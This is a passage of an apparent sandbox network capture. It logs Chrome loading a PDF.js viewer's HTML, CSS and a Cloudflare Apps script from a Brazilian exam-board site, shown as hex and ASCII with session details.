2024-05-10 07:20:55 UTC	1369	IN	Data Raw: 69 64 3d 22 7a 6f 6f 6d 5f 6f 75 74 5f 6c 61 62 65 6c 22 3e 4d 65 6e 6f 73 20 5a 6f 6f 6d 3c 2f 73 70 61 6e 3e 0a 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 70 6c 69 74 54 6f 6f 6c 62 61 72 42 75 74 74 6f 6e 53 65 70 61 72 61 74 6f 72 22 3e 3c 2f 64 69 76 3e 0a 3c 62 75 74 74 6f 6e 20 69 64 3d 22 7a 6f 6f 6d 49 6e 22 20 63 6c 61 73 73 3d 22 74 6f 6f 6c 62 61 72 42 75 74 74 6f 6e 20 7a 6f 6f 6d 49 6e 22 20 74 69 74 6c 65 3d 22 4d 61 69 73 20 5a 6f 6f 6d 22 20 74 61 62 69 6e 64 65 78 3d 22 32 32 22 20 64 61 74 61 2d 6c 31 30 6e 2d 69 64 3d 22 7a 6f 6f 6d 5f 69 6e 22 3e 0a 3c 73 70 61 6e 20 64 61 74 61 2d 6c 31 30 6e 2d 69 64 3d 22 7a 6f 6f 6d 5f 69 6e 5f 6c 61 62 65 6c 22 3e 4d 61 69 73 20 5a 6f 6f 6d 3c 2f 73 70 61 6e 3e 0a 3c 2f Data Ascii: id="zoom_out_label">Menos Zoom</span></button><div class="splitToolbarButtonSeparator"></div><button id="zoomIn" class="toolbarButton zoomIn" title="Mais Zoom" tabindex="22" data-l10n-id="zoom_in"><span data-l10n-id="zoom_in_label">Mais Zoom</span></
2024-05-10 07:20:55 UTC	1369	IN	Data Raw: 73 63 61 6c 65 26 71 75 6f 74 3b 3a 20 31 32 35 20 7d 22 3e 31 32 35 25 3c 2f 6f 70 74 69 6f 6e 3e 0a 3c 6f 70 74 69 6f 6e 20 74 69 74 6c 65 20 76 61 6c 75 65 3d 22 31 2e 35 22 20 64 61 74 61 2d 6c 31 30 6e 2d 69 64 3d 22 70 61 67 65 5f 73 63 61 6c 65 5f 70 65 72 63 65 6e 74 22 20 64 61 74 61 2d 6c 31 30 6e 2d 61 72 67 73 3d 22 7b 20 26 71 75 6f 74 3b 73 63 61 6c 65 26 71 75 6f 74 3b 3a 20 31 35 30 20 7d 22 3e 31 35 30 25 3c 2f 6f 70 74 69 6f 6e 3e 0a 3c 6f 70 74 69 6f 6e 20 74 69 74 6c 65 20 76 61 6c 75 65 3d 22 32 22 20 64 61 74 61 2d 6c 31 30 6e 2d 69 64 3d 22 70 61 67 65 5f 73 63 61 6c 65 5f 70 65 72 63 65 6e 74 22 20 64 61 74 61 2d 6c 31 30 6e 2d 61 72 67 73 3d 22 7b 20 26 71 75 6f 74 3b 73 63 61 6c 65 26 71 75 6f 74 3b 3a 20 32 30 30 20 7d 22 3e 32 Data Ascii: scale": 125 }">125%</option><option title value="1.5" data-l10n-id="page_scale_percent" data-l10n-args="{ "scale": 150 }">150%</option><option title value="2" data-l10n-id="page_scale_percent" data-l10n-args="{ "scale": 200 }">2
2024-05-10 07:20:55 UTC	1369	IN	Data Raw: 72 72 6f 72 53 68 6f 77 4c 65 73 73 22 20 64 61 74 61 2d 6c 31 30 6e 2d 69 64 3d 22 65 72 72 6f 72 5f 6c 65 73 73 5f 69 6e 66 6f 22 20 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 0a 4c 65 73 73 20 49 6e 66 6f 72 6d 61 74 69 6f 6e 0a 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 69 64 3d 22 65 72 72 6f 72 4d 65 73 73 61 67 65 52 69 67 68 74 22 3e 0a 3c 62 75 74 74 6f 6e 20 69 64 3d 22 65 72 72 6f 72 43 6c 6f 73 65 22 20 64 61 74 61 2d 6c 31 30 6e 2d 69 64 3d 22 65 72 72 6f 72 5f 63 6c 6f 73 65 22 3e 0a 43 6c 6f 73 65 0a 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6c 65 61 72 42 6f 74 68 22 3e 3c 2f 64 69 76 3e 0a 3c 74 65 78 74 61 72 65 61 20 69 64 3d 22 65 72 72 6f 72 4d 6f 72 65 49 6e 66 6f Data Ascii: rrorShowLess" data-l10n-id="error_less_info" hidden="true">Less Information</button></div><div id="errorMessageRight"><button id="errorClose" data-l10n-id="error_close">Close</button></div><div class="clearBoth"></div><textarea id="errorMoreInfo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49736	172.66.43.171	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:20:55 UTC	701	OUT	GET /web/viewer.css HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.quadrix.org.br/web/visualizar.html?file=https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:20:55 UTC	420	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:20:55 GMT Content-Type: text/css Content-Length: 40529 Connection: close Cf-Bgj: minify Cf-Polished: origSize=50590 ETag: "0ef5324441cd21:0" Last-Modified: Sun, 02 Oct 2016 00:30:14 GMT Vary: Accept-Encoding X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6790 Accept-Ranges: bytes Server: cloudflare CF-RAY: 88182b64eecb89f2-ORD
2024-05-10 07:20:55 UTC	949	IN	Data Raw: 2e 74 65 78 74 4c 61 79 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6c 65 66 74 3a 30 3b 74 6f 70 3a 30 3b 72 69 67 68 74 3a 30 3b 62 6f 74 74 6f 6d 3a 30 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 6f 70 61 63 69 74 79 3a 2e 32 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 7d 2e 74 65 78 74 4c 61 79 65 72 3e 64 69 76 7b 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 70 72 65 3b 63 75 72 73 6f 72 3a 74 65 78 74 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 30 25 20 30 25 3b 2d 6d 6f 7a 2d 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 30 25 20 30 25 3b 2d 6f 2d 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 Data Ascii: .textLayer{position:absolute;left:0;top:0;right:0;bottom:0;overflow:hidden;opacity:.2;line-height:1}.textLayer>div{color:transparent;position:absolute;white-space:pre;cursor:text;-webkit-transform-origin:0% 0%;-moz-transform-origin:0% 0%;-o-transform-orig
2024-05-10 07:20:55 UTC	1369	IN	Data Raw: 61 62 73 6f 6c 75 74 65 7d 2e 61 6e 6e 6f 74 61 74 69 6f 6e 4c 61 79 65 72 20 2e 6c 69 6e 6b 41 6e 6e 6f 74 61 74 69 6f 6e 3e 61 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 65 6d 3b 74 6f 70 3a 30 3b 6c 65 66 74 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 7d 2e 61 6e 6e 6f 74 61 74 69 6f 6e 4c 61 79 65 72 20 2e 6c 69 6e 6b 41 6e 6e 6f 74 61 74 69 6f 6e 3e 61 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 64 61 74 61 3a 69 6d 61 67 65 2f 67 69 66 3b 62 61 73 65 36 34 2c 52 30 6c 47 4f 44 6c 68 41 51 41 42 41 49 41 41 41 41 41 41 41 50 2f 2f 2f 79 48 35 42 41 45 41 41 41 41 41 4c 41 41 41 41 41 41 42 41 41 45 41 41 41 49 42 52 41 41 37 29 20 30 20 30 20 72 65 70 65 61 74 7d 2e 61 Data Ascii: absolute}.annotationLayer .linkAnnotation>a{position:absolute;font-size:1em;top:0;left:0;width:100%;height:100%}.annotationLayer .linkAnnotation>a{background:url(data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7) 0 0 repeat}.a
2024-05-10 07:20:55 UTC	1369	IN	Data Raw: 75 73 7b 77 69 64 74 68 3a 31 31 35 25 7d 2e 61 6e 6e 6f 74 61 74 69 6f 6e 4c 61 79 65 72 20 2e 70 6f 70 75 70 57 72 61 70 70 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 77 69 64 74 68 3a 32 30 65 6d 7d 2e 61 6e 6e 6f 74 61 74 69 6f 6e 4c 61 79 65 72 20 2e 70 6f 70 75 70 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 7a 2d 69 6e 64 65 78 3a 32 30 30 3b 6d 61 78 2d 77 69 64 74 68 3a 32 30 65 6d 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 39 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 32 70 78 20 35 70 78 20 23 33 33 33 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 32 70 78 3b 70 61 64 64 69 6e 67 3a 2e 36 65 6d 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 70 78 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 77 6f Data Ascii: us{width:115%}.annotationLayer .popupWrapper{position:absolute;width:20em}.annotationLayer .popup{position:absolute;z-index:200;max-width:20em;background-color:#ff9;box-shadow:0 2px 5px #333;border-radius:2px;padding:.6em;margin-left:5px;cursor:pointer;wo
2024-05-10 07:20:55 UTC	1369	IN	Data Raw: 7a 2d 66 75 6c 6c 2d 73 63 72 65 65 6e 20 2e 70 64 66 56 69 65 77 65 72 20 2e 70 61 67 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 30 30 25 3b 62 6f 72 64 65 72 3a 30 7d 2e 70 64 66 50 72 65 73 65 6e 74 61 74 69 6f 6e 4d 6f 64 65 3a 2d 6d 73 2d 66 75 6c 6c 73 63 72 65 65 6e 20 2e 70 64 66 56 69 65 77 65 72 20 2e 70 61 67 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 30 30 25 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 72 64 65 72 3a 30 7d 2e 70 64 66 50 72 65 73 65 6e 74 61 74 69 6f 6e 4d 6f 64 65 3a 66 75 6c 6c 73 63 72 65 65 6e 20 2e 70 64 66 56 69 65 77 65 72 20 2e 70 61 67 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 30 30 25 3b 62 6f 72 64 65 72 3a 30 7d 2a 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 7d 68 74 6d 6c 7b 68 65 Data Ascii: z-full-screen .pdfViewer .page{margin-bottom:100%;border:0}.pdfPresentationMode:-ms-fullscreen .pdfViewer .page{margin-bottom:100%!important;border:0}.pdfPresentationMode:fullscreen .pdfViewer .page{margin-bottom:100%;border:0}*{padding:0;margin:0}html{he
2024-05-10 07:20:55 UTC	1369	IN	Data Raw: 65 72 2d 73 65 6c 65 63 74 3a 6e 6f 6e 65 7d 2e 70 64 66 50 72 65 73 65 6e 74 61 74 69 6f 6e 4d 6f 64 65 3a 2d 77 65 62 6b 69 74 2d 66 75 6c 6c 2d 73 63 72 65 65 6e 20 61 3a 6e 6f 74 28 2e 69 6e 74 65 72 6e 61 6c 4c 69 6e 6b 29 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 70 64 66 50 72 65 73 65 6e 74 61 74 69 6f 6e 4d 6f 64 65 3a 2d 6d 6f 7a 2d 66 75 6c 6c 2d 73 63 72 65 65 6e 20 61 3a 6e 6f 74 28 2e 69 6e 74 65 72 6e 61 6c 4c 69 6e 6b 29 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 70 64 66 50 72 65 73 65 6e 74 61 74 69 6f 6e 4d 6f 64 65 3a 2d 6d 73 2d 66 75 6c 6c 73 63 72 65 65 6e 20 61 3a 6e 6f 74 28 2e 69 6e 74 65 72 6e 61 6c 4c 69 6e 6b 29 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 64 66 50 72 65 73 65 6e 74 61 74 Data Ascii: er-select:none}.pdfPresentationMode:-webkit-full-screen a:not(.internalLink){display:none}.pdfPresentationMode:-moz-full-screen a:not(.internalLink){display:none}.pdfPresentationMode:-ms-fullscreen a:not(.internalLink){display:none!important}.pdfPresentat
2024-05-10 07:20:55 UTC	1369	IN	Data Raw: 3d 72 74 6c 5d 20 23 73 69 64 65 62 61 72 43 6f 6e 74 61 69 6e 65 72 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 2d 70 72 6f 70 65 72 74 79 3a 72 69 67 68 74 3b 74 72 61 6e 73 69 74 69 6f 6e 2d 70 72 6f 70 65 72 74 79 3a 72 69 67 68 74 3b 72 69 67 68 74 3a 2d 32 30 30 70 78 7d 23 6f 75 74 65 72 43 6f 6e 74 61 69 6e 65 72 2e 73 69 64 65 62 61 72 4d 6f 76 69 6e 67 3e 23 73 69 64 65 62 61 72 43 6f 6e 74 61 69 6e 65 72 2c 23 6f 75 74 65 72 43 6f 6e 74 61 69 6e 65 72 2e 73 69 64 65 62 61 72 4f 70 65 6e 3e 23 73 69 64 65 62 61 72 43 6f 6e 74 61 69 6e 65 72 7b 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 7d 68 74 6d 6c 5b 64 69 72 3d 6c 74 72 5d 20 23 6f 75 74 65 72 43 6f 6e 74 61 69 6e 65 72 2e 73 69 64 65 62 61 72 4f 70 65 6e 3e 23 73 69 Data Ascii: =rtl] #sidebarContainer{-webkit-transition-property:right;transition-property:right;right:-200px}#outerContainer.sidebarMoving>#sidebarContainer,#outerContainer.sidebarOpen>#sidebarContainer{visibility:visible}html[dir=ltr] #outerContainer.sidebarOpen>#si
2024-05-10 07:20:55 UTC	1369	IN	Data Raw: 20 2d 31 70 78 20 30 20 30 20 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 30 35 29 7d 2e 74 6f 6f 6c 62 61 72 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6c 65 66 74 3a 30 3b 72 69 67 68 74 3a 30 3b 7a 2d 69 6e 64 65 78 3a 39 39 39 39 3b 63 75 72 73 6f 72 3a 64 65 66 61 75 6c 74 7d 23 74 6f 6f 6c 62 61 72 43 6f 6e 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 31 30 30 25 7d 23 74 6f 6f 6c 62 61 72 53 69 64 65 62 61 72 7b 77 69 64 74 68 3a 32 30 30 70 78 3b 68 65 69 67 68 74 3a 33 32 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 32 34 32 34 32 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 69 6d 61 67 65 73 2f 74 65 78 74 75 72 65 2e 70 6e 67 29 2c 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 68 73 6c 61 Data Ascii: -1px 0 0 hsla(0,0%,100%,.05)}.toolbar{position:relative;left:0;right:0;z-index:9999;cursor:default}#toolbarContainer{width:100%}#toolbarSidebar{width:200px;height:32px;background-color:#424242;background-image:url(images/texture.png),linear-gradient(hsla
2024-05-10 07:20:55 UTC	1369	IN	Data Raw: 70 78 20 73 6f 6c 69 64 20 23 33 33 33 7d 23 6c 6f 61 64 69 6e 67 42 61 72 20 2e 70 72 6f 67 72 65 73 73 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b 6c 65 66 74 3a 30 3b 77 69 64 74 68 3a 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 64 64 64 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 77 69 64 74 68 20 32 30 30 6d 73 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 77 69 64 74 68 20 32 30 30 6d 73 7d 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 70 72 6f 67 72 65 73 73 49 6e 64 65 74 65 72 6d 69 6e 61 74 65 7b 30 25 7b 6c 65 66 74 3a 2d 31 34 32 70 78 7d 31 30 30 25 7b 6c 65 66 74 3a 30 7d 7d 40 6b 65 79 66 72 Data Ascii: px solid #333}#loadingBar .progress{position:absolute;top:0;left:0;width:0%;height:100%;background-color:#ddd;overflow:hidden;-webkit-transition:width 200ms;transition:width 200ms}@-webkit-keyframes progressIndeterminate{0%{left:-142px}100%{left:0}}@keyfr
2024-05-10 07:20:55 UTC	1369	IN	Data Raw: 78 7d 68 74 6d 6c 5b 64 69 72 3d 72 74 6c 5d 20 2e 73 65 63 6f 6e 64 61 72 79 54 6f 6f 6c 62 61 72 7b 6c 65 66 74 3a 34 70 78 7d 23 73 65 63 6f 6e 64 61 72 79 54 6f 6f 6c 62 61 72 42 75 74 74 6f 6e 43 6f 6e 74 61 69 6e 65 72 7b 6d 61 78 2d 77 69 64 74 68 3a 32 30 30 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 34 30 30 70 78 3b 6f 76 65 72 66 6c 6f 77 2d 79 3a 61 75 74 6f 3b 2d 77 65 62 6b 69 74 2d 6f 76 65 72 66 6c 6f 77 2d 73 63 72 6f 6c 6c 69 6e 67 3a 74 6f 75 63 68 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2d 34 70 78 7d 2e 64 6f 6f 72 48 61 6e 67 65 72 2c 2e 64 6f 6f 72 48 61 6e 67 65 72 52 69 67 68 74 7b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 68 73 6c 61 28 30 2c 30 25 2c 30 25 2c 2e 35 29 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 32 Data Ascii: x}html[dir=rtl] .secondaryToolbar{left:4px}#secondaryToolbarButtonContainer{max-width:200px;max-height:400px;overflow-y:auto;-webkit-overflow-scrolling:touch;margin-bottom:-4px}.doorHanger,.doorHangerRight{border:1px solid hsla(0,0%,0%,.5);border-radius:2
2024-05-10 07:20:55 UTC	1369	IN	Data Raw: 77 65 72 4c 65 66 74 2c 68 74 6d 6c 5b 64 69 72 3d 72 74 6c 5d 20 23 74 6f 6f 6c 62 61 72 56 69 65 77 65 72 52 69 67 68 74 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b 6c 65 66 74 3a 30 7d 68 74 6d 6c 5b 64 69 72 3d 6c 74 72 5d 20 23 74 6f 6f 6c 62 61 72 56 69 65 77 65 72 52 69 67 68 74 2c 68 74 6d 6c 5b 64 69 72 3d 72 74 6c 5d 20 23 74 6f 6f 6c 62 61 72 56 69 65 77 65 72 4c 65 66 74 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b 72 69 67 68 74 3a 30 7d 68 74 6d 6c 5b 64 69 72 3d 6c 74 72 5d 20 23 74 6f 6f 6c 62 61 72 56 69 65 77 65 72 4c 65 66 74 3e 2a 2c 68 74 6d 6c 5b 64 69 72 3d 6c 74 72 5d 20 23 74 6f 6f 6c 62 61 72 56 69 65 77 65 72 4d 69 64 64 6c 65 3e 2a 2c 68 74 6d 6c 5b 64 69 72 3d 6c 74 Data Ascii: werLeft,html[dir=rtl] #toolbarViewerRight{position:absolute;top:0;left:0}html[dir=ltr] #toolbarViewerRight,html[dir=rtl] #toolbarViewerLeft{position:absolute;top:0;right:0}html[dir=ltr] #toolbarViewerLeft>,html[dir=ltr] #toolbarViewerMiddle>,html[dir=lt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49737	172.66.43.171	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:20:55 UTC	721	OUT	GET /cdn-cgi/apps/head/p4vv9MANyR7lncHFWaoN14UULso.js HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.quadrix.org.br/web/visualizar.html?file=https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:20:56 UTC	551	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:20:56 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close x-amz-id-2: UuNm0uk+pI5vA5R48cip7de641TgF3wxTFjiS4hd0cZF6DjB73jaSRcv6TtZOXtgNaqhfoKdZA8= x-amz-request-id: NGA9V3ST741NQPF0 Cache-Control: public, max-age=31536000 Last-Modified: Mon, 12 Jul 2021 13:19:48 GMT x-amz-version-id: DPVI.hFPINo1Roq5PTGwoViX.OJ4DYQ6 ETag: W/"5ccfbe6d9f57a2f8bfb5d120508a91a7" CF-Cache-Status: HIT Age: 5150141 Server: cloudflare CF-RAY: 88182b65f98fe203-ORD
2024-05-10 07:20:56 UTC	818	IN	Data Raw: 31 31 61 64 0d 0a 3b 77 69 6e 64 6f 77 2e 43 6c 6f 75 64 66 6c 61 72 65 41 70 70 73 3d 77 69 6e 64 6f 77 2e 43 6c 6f 75 64 66 6c 61 72 65 41 70 70 73 7c 7c 7b 7d 3b 43 6c 6f 75 64 66 6c 61 72 65 41 70 70 73 2e 73 69 74 65 49 64 3d 22 32 32 64 35 65 35 33 62 66 32 64 65 37 66 38 61 39 31 65 31 38 33 62 33 33 64 37 30 31 61 35 62 22 3b 43 6c 6f 75 64 66 6c 61 72 65 41 70 70 73 2e 69 6e 73 74 61 6c 6c 73 3d 43 6c 6f 75 64 66 6c 61 72 65 41 70 70 73 2e 69 6e 73 74 61 6c 6c 73 7c 7c 7b 7d 3b 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 27 75 73 65 20 73 74 72 69 63 74 27 0a 43 6c 6f 75 64 66 6c 61 72 65 41 70 70 73 2e 69 6e 74 65 72 6e 61 6c 3d 43 6c 6f 75 64 66 6c 61 72 65 41 70 70 73 2e 69 6e 74 65 72 6e 61 6c 7c 7c 7b 7d 0a 76 61 72 20 65 72 72 6f 72 73 3d 5b 5d Data Ascii: 11ad;window.CloudflareApps=window.CloudflareApps\|\|{};CloudflareApps.siteId="22d5e53bf2de7f8a91e183b33d701a5b";CloudflareApps.installs=CloudflareApps.installs\|\|{};;(function(){'use strict'CloudflareApps.internal=CloudflareApps.internal\|\|{}var errors=[]
2024-05-10 07:20:56 UTC	1369	IN	Data Raw: 6e 73 74 61 6c 6c 49 64 29 29 7b 63 6f 6e 74 69 6e 75 65 7d 0a 76 61 72 20 73 65 6c 65 63 74 6f 72 73 3d 69 6e 73 74 61 6c 6c 73 5b 69 6e 73 74 61 6c 6c 49 64 5d 2e 73 65 6c 65 63 74 6f 72 73 0a 69 66 28 21 73 65 6c 65 63 74 6f 72 73 29 7b 63 6f 6e 74 69 6e 75 65 7d 0a 66 6f 72 28 76 61 72 20 6b 65 79 20 69 6e 20 73 65 6c 65 63 74 6f 72 73 29 7b 69 66 28 21 73 65 6c 65 63 74 6f 72 73 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 6b 65 79 29 29 7b 63 6f 6e 74 69 6e 75 65 7d 0a 76 61 72 20 68 61 73 68 3d 69 6e 73 74 61 6c 6c 49 64 2b 27 3a 3a 27 2b 6b 65 79 0a 69 66 28 69 6e 69 74 69 61 6c 69 7a 65 64 53 65 6c 65 63 74 6f 72 73 5b 68 61 73 68 5d 29 7b 63 6f 6e 74 69 6e 75 65 7d 0a 76 61 72 20 65 6c 73 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c Data Ascii: nstallId)){continue}var selectors=installs[installId].selectorsif(!selectors){continue}for(var key in selectors){if(!selectors.hasOwnProperty(key)){continue}var hash=installId+'::'+keyif(initializedSelectors[hash]){continue}var els=document.querySel
2024-05-10 07:20:56 UTC	1369	IN	Data Raw: 41 70 70 73 2e 69 6e 74 65 72 6e 61 6c 2e 6d 61 72 6b 53 65 6c 65 63 74 6f 72 73 28 29 0a 74 72 79 7b 69 66 28 70 72 65 76 45 6c 26 26 70 72 65 76 45 6c 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7b 76 61 72 20 72 65 70 6c 61 63 65 64 45 6c 0a 69 66 28 70 72 65 76 45 6c 2e 63 66 41 70 70 73 45 6c 65 6d 65 6e 74 49 64 29 7b 72 65 70 6c 61 63 65 64 45 6c 3d 70 72 65 76 45 6c 73 5b 70 72 65 76 45 6c 2e 63 66 41 70 70 73 45 6c 65 6d 65 6e 74 49 64 5d 7d 0a 69 66 28 72 65 70 6c 61 63 65 64 45 6c 29 7b 70 72 65 76 45 6c 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 70 6c 61 63 65 43 68 69 6c 64 28 72 65 70 6c 61 63 65 64 45 6c 2c 70 72 65 76 45 6c 29 0a 64 65 6c 65 74 65 20 70 72 65 76 45 6c 73 5b 70 72 65 76 45 6c 2e 63 66 41 70 70 73 45 6c 65 6d 65 6e 74 49 64 5d 7d 65 Data Ascii: Apps.internal.markSelectors()try{if(prevEl&&prevEl.parentNode){var replacedElif(prevEl.cfAppsElementId){replacedEl=prevEls[prevEl.cfAppsElementId]}if(replacedEl){prevEl.parentNode.replaceChild(replacedEl,prevEl)delete prevEls[prevEl.cfAppsElementId]}e
2024-05-10 07:20:56 UTC	977	IN	Data Raw: 69 6e 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 70 6c 61 63 65 43 68 69 6c 64 28 65 6c 65 6d 65 6e 74 2c 63 6f 6e 74 61 69 6e 65 72 29 7d 0a 72 65 74 75 72 6e 20 65 6c 65 6d 65 6e 74 7d 63 61 74 63 68 28 65 29 7b 69 66 28 74 79 70 65 6f 66 20 63 6f 6e 73 6f 6c 65 21 3d 3d 27 75 6e 64 65 66 69 6e 65 64 27 26 26 74 79 70 65 6f 66 20 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 21 3d 3d 27 75 6e 64 65 66 69 6e 65 64 27 29 7b 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 27 45 72 72 6f 72 20 63 72 65 61 74 69 6e 67 20 43 6c 6f 75 64 66 6c 61 72 65 20 41 70 70 73 20 65 6c 65 6d 65 6e 74 27 2c 65 29 7d 7d 7d 7d 28 29 29 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 27 75 73 65 20 73 74 72 69 63 74 27 0a 43 6c 6f 75 64 66 6c 61 72 65 41 70 70 73 2e 6d 61 74 63 68 50 61 67 Data Ascii: iner.parentNode.replaceChild(element,container)}return element}catch(e){if(typeof console!=='undefined'&&typeof console.error!=='undefined'){console.error('Error creating Cloudflare Apps element',e)}}}}());(function(){'use strict'CloudflareApps.matchPag
2024-05-10 07:20:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49738	172.66.43.171	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
